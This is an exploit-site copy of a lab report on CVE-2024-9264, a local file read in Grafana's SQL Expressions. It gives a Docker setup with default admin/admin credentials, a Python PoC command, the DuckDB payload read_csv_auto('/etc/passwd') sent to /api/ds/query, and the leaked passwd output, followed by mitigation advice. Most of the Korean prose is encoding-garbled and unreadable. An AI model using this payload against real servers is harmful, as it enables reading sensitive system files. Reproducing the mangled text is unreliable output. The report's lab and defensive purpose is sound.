Share
## https://sploitus.com/exploit?id=6B93F331-7356-5FFB-8194-53D20F47D624
# CVE-2024-9264
# CVE-2024-9264 ์ทจ์ฝ์ ์ค์ต ๋ณด๊ณ ์
## 1. ์ทจ์ฝ์ ์์ฝ
| ํญ๋ชฉ | ๋ด์ฉ |
|------|------|
| CVE | CVE-2024-9264 |
| ๋์ | Grafana (SQL Expressions) |
| ์ํฅ | Local File Inclusion(LFI), Remote Code Execution(RCE) |
| ์ฌ๊ฐ๋ | Critical |
| ๊ณต๊ฒฉ ์กฐ๊ฑด | ์ธ์ฆ๋ ์ฌ์ฉ์(Admin ๊ถํ) |
| ๊ณต๊ฒฉ ๋ฐฉ์ | SQL Expression ๊ธฐ๋ฅ์ ์
์ฉํ์ฌ DuckDB SQL ์คํ |
CVE-2024-9264๋ Grafana์ SQL Expressions ๊ธฐ๋ฅ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ด๋ค.
Grafana ๋ด๋ถ์์ ์ฌ์ฉํ๋ DuckDB SQL์ ์ ์ ํ๊ฒ ๊ฒ์ฆํ์ง ์์ ๊ณต๊ฒฉ์๊ฐ SQL Expression์ ํตํด ์์์ DuckDB SQL์ ์คํํ ์ ์๋ค.
์ด๋ฅผ ์ด์ฉํ๋ฉด
- ์๋ฒ์ ๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ(LFI)
- ์์คํ
๋ช
๋ น ์คํ(RCE)
- ๋ฏผ๊ฐํ ์ ๋ณด ์ ์ถ
๋ฑ์ด ๊ฐ๋ฅํ๋ค.
๋ณธ ์ค์ต์์๋ Docker ํ๊ฒฝ์์ Grafana 11.0.0์ ์คํํ ํ PoC๋ฅผ ์ด์ฉํ์ฌ `/etc/passwd` ํ์ผ์ ์ฝ๋ ๋ฐฉ์์ผ๋ก ์ทจ์ฝ์ ์ ์ฌํํ์๋ค.
---
# 2. ํ๊ฒฝ ๊ตฌ์ฑ
## ์ค์ต ํ๊ฒฝ
| ๊ตฌ์ฑ | ๋ด์ฉ |
|------|------|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
### ์ ์ฅ์ ๋ค์ด๋ก๋
```bash
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
```
### Docker ์คํ
```bash
docker-compose up
```
Grafana ์คํ ํ์ธ
```
http://localhost:3000
```

Grafana์ ๊ธฐ๋ณธ ๊ณ์ ์ ๋ณด๋ ๋ค์๊ณผ ๊ฐ๋ค.
```
ID : admin
PW : admin
```
---
# 3. ์ทจ์ฝ ์กฐ๊ฑด
์ทจ์ฝ์ ์ด ๋ฐ์ํ๊ธฐ ์ํด์๋ ๋ค์ ์กฐ๊ฑด์ด ๋ง์กฑ๋์ด์ผ ํ๋ค.
- Grafana์ ์ทจ์ฝ ๋ฒ์ ์ฌ์ฉ
- SQL Expressions ๊ธฐ๋ฅ ์ฌ์ฉ ๊ฐ๋ฅ
- ๊ณต๊ฒฉ์๊ฐ Grafana์ ๋ก๊ทธ์ธ ๊ฐ๋ฅ
- DuckDB SQL Expression์ด ํ์ฑํ๋์ด ์์
๋ณธ ์ค์ต์์๋ ๊ธฐ๋ณธ ๊ด๋ฆฌ์(admin/admin) ๊ณ์ ์ ์ฌ์ฉํ์๋ค.
---
# 4. ์ฌํ ์ ์ฐจ
## Step 1. Grafana ์คํ
```bash
docker-compose up
```
---
## Step 2. Grafana ์ ์
```
http://localhost:3000
```
๋ก๊ทธ์ธ
```
admin
admin
```
---
## Step 3. PoC ์คํ
๋ก์ปฌ ํ์ผ์ ์ฝ๊ธฐ ์ํด ๋ค์ ๋ช
๋ น์ ์คํํ์๋ค.
```bash
python3 PoC.py \
-u http://localhost:3000 \
-f "/etc/passwd"
```
PoC๋ ๋ค์ SQL Expression์ ์์ฑํ๋ค.
```sql
SELECT * FROM read_csv_auto('/etc/passwd')
```
์ด๋ฅผ Grafana์ `/api/ds/query` API๋ก ์ ์กํ๋ค.
---
## Step 4. ๊ฒฐ๊ณผ ํ์ธ
Grafana๊ฐ SQL์ ๊ทธ๋๋ก ์คํํ๋ฉด์ `/etc/passwd` ๋ด์ฉ์ ์๋ต์ผ๋ก ๋ฐํํ์๋ค.
์ด๋ฅผ ํตํด Local File Inclusion์ด ์ฑ๊ณต์ ์ผ๋ก ์ํ๋จ์ ํ์ธํ์๋ค.
---
# 5. PoC ์ฝ๋
PoC๋ Python์ผ๋ก ์์ฑ๋์์ผ๋ฉฐ ๋ค์ ๊ณผ์ ์ ์ํํ๋ค.
1. Grafana API(`/api/ds/query`) ํธ์ถ
2. SQL Expression ์์ฑ
3. JSON ํํ๋ก ์์ฒญ ์ ์ก
4. ์๋ต(JSON) ํ์ฑ
5. ํ์ผ ๋ด์ฉ ์ถ๋ ฅ
ํ์ผ ์ฝ๊ธฐ ์ ์์ฑ๋๋ SQL์ ๋ค์๊ณผ ๊ฐ๋ค.
```python
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
```
API ์์ฒญ์ ๋ค์๊ณผ ๊ฐ์ด ์ํ๋๋ค.
```python
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
```
---
# 6. ์คํ ๊ฒฐ๊ณผ
PoC ์คํ
```bash
python3 PoC.py \
-u http://localhost:3000 \
-f "/etc/passwd"
```
์คํ ๊ฒฐ๊ณผ
```
[+] Request Success (200 OK)
Exploit Result
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
์ ์์ ์ผ๋ก `/etc/passwd` ๋ด์ฉ์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ด๋ฅผ ํตํด Grafana ์๋ฒ ๋ด๋ถ ํ์ผ์ ์ฝ์ ์ ์์์ ํ์ธํ์๋ค.
---
# 7. ๋์ ๋ฐฉ์
## 1. Grafana ์ต์ ๋ฒ์ ์
๋ฐ์ดํธ
๊ฐ์ฅ ํจ๊ณผ์ ์ธ ๋์ ๋ฐฉ๋ฒ์ ์ทจ์ฝ์ ์ด ์์ ๋ ์ต์ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ๋ ๊ฒ์ด๋ค.
---
## 2. SQL Expressions ๊ธฐ๋ฅ ์ ํ
๋ถํ์ํ SQL Expression ๊ธฐ๋ฅ์ ๋นํ์ฑํํ๊ฑฐ๋ ์ต์ ๊ถํ ์์น์ ์ ์ฉํ์ฌ ์ฌ์ฉ ๋ฒ์๋ฅผ ์ ํํ๋ค.
---
## 3. ๊ด๋ฆฌ์ ๊ณ์ ๋ณดํธ
- ๊ธฐ๋ณธ ๊ณ์ (admin/admin) ๋ณ๊ฒฝ
- ๊ฐ๋ ฅํ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ
- MFA ์ ์ฉ
- ๊ด๋ฆฌ์ ๊ณ์ ์ต์ํ
---
## 4. ๋คํธ์ํฌ ์ ๊ทผ ์ ํ
Grafana ๊ด๋ฆฌ ํ์ด์ง๋ ์ธ๋ถ์์ ์ง์ ์ ๊ทผํ์ง ๋ชปํ๋๋ก ๋ฐฉํ๋ฒฝ ๋๋ Reverse Proxy๋ฅผ ์ด์ฉํ์ฌ ์ ๊ทผ์ ์ ํํ๋ค.
---
## 5. ๋ก๊ทธ ๋ชจ๋ํฐ๋ง
๋ค์๊ณผ ๊ฐ์ ์ด์ ํ์๋ฅผ ์ง์์ ์ผ๋ก ๋ชจ๋ํฐ๋งํ๋ค.
- ๋น์ ์ SQL Expression ์คํ
- `/api/ds/query` ์์ฒญ ์ฆ๊ฐ
- DuckDB ๊ด๋ จ ์ฟผ๋ฆฌ ์คํ
- ๋น์ ์์ ์ธ ํ์ผ ์ ๊ทผ
---
# 8. ๊ฒฐ๋ก
์ด๋ฒ ์ค์ต์์๋ Docker ํ๊ฒฝ์์ Grafana 11.0.0์ ๊ตฌ์ถํ ํ CVE-2024-9264 ์ทจ์ฝ์ ์ ์ฌํํ์๋ค.
Python์ผ๋ก ์์ฑ๋ PoC๋ฅผ ์ด์ฉํ์ฌ SQL Expression ๊ธฐ๋ฅ์ ์
์ฉํ๊ณ `/etc/passwd` ํ์ผ์ ์ฝ๋ ๋ฐ ์ฑ๊ณตํ์๋ค. ์ด๋ฅผ ํตํด SQL Expression์ ๋ํ ์
๋ ฅ ๊ฒ์ฆ์ด ๋ฏธํกํ ๊ฒฝ์ฐ ๋ฏผ๊ฐํ ํ์ผ์ด ๋
ธ์ถ๋ ์ ์์ผ๋ฉฐ, ํ๊ฒฝ์ ๋ฐ๋ผ์๋ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ผ๋ก๋ ์ด์ด์ง ์ ์์์ ํ์ธํ์๋ค.
์ด๋ฌํ ์ทจ์ฝ์ ์ ์ต์ ๋ฒ์ ์ผ๋ก์ ์
๋ฐ์ดํธ, SQL Expression ๊ธฐ๋ฅ ์ ํ, ๊ด๋ฆฌ์ ๊ณ์ ๋ณดํธ, ์ ๊ทผ ์ ์ด ๋ฐ ๋ก๊ทธ ๋ชจ๋ํฐ๋ง ๋ฑ์ ๋ณด์ ๋์ฑ
์ ํตํด ์๋ฐฉํ ์ ์๋ค.